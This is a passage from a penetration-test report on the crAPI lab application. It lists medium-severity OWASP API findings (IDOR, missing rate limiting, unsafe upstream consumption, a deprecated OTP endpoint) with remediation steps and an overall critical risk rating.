3. Minimize the data returned.
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Broken Object Level Authorization (API1) - Broken Object Level Authorization Medium
(IDOR) on Mechanic Reports

1. Verify the requested report_id is associated with the calling user/mechanic.
2. Use UUIDs instead of sequential identifiers.
3. Return only the minimum necessary fields.

Broken Object Level Authorization (API1) - Broken Object Level Authorization Medium
(IDOR) on Vehicle Location

1. Verify that the requested vehicle belongs to the user in the token before returning its location.
2. Implement centralized object-level authorization checks.
3. Avoid exposing owner Pll in the location response.

Unrestricted Resource Consumption (API4) - Unrestricted Resource Medium
Consumption — No Login Rate Limiting

1. Enforce per-account/per-IP rate limiting and progressive account lockout.
2. Add CAPTCHA/anti-automation and anomaly detection.
3. Limit concurrent requests per client.

Unsafe Consumption of APIs (API10) - Unsafe Consumption of APIs — Medium
Unvalidated Upstream Response in Contact Mechanic

1. Validate and sanitize upstream responses (schema, content-type) before processing/reflecting.
2. Restrict upstream destinations to a trusted allow-list (see also the SSRF finding).
3. Never reflect raw upstream responses to the client.

Improper Inventory Management (API9) - Improper Inventory Management — Medium
Deprecated OTP Endpoint (v2) Still Live

1. Retire/disable deprecated API versions (v2) no longer in use.
2. Maintain an APl version inventory and document live endpoints.
3. Apply uniform security controls across all live versions.
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5 Conclusion

OVERALL RISK RATING

Critical

Based on our team's assessment, the crAPI application is considered insecure: broken
authentication (JWT signature not verified) enables full account takeover, and multiple access-
control, SSRF, injection, resource-consumption, inventory and unsafe-consumption issues
expose customer data. Remediation of the exploited findings is required before production
use.

Prepared by Muhammad Fagih

56



VAPT Technical Report - crAPI (Lab) CONFIDENTIAL

6 Attachments

Attachment Description
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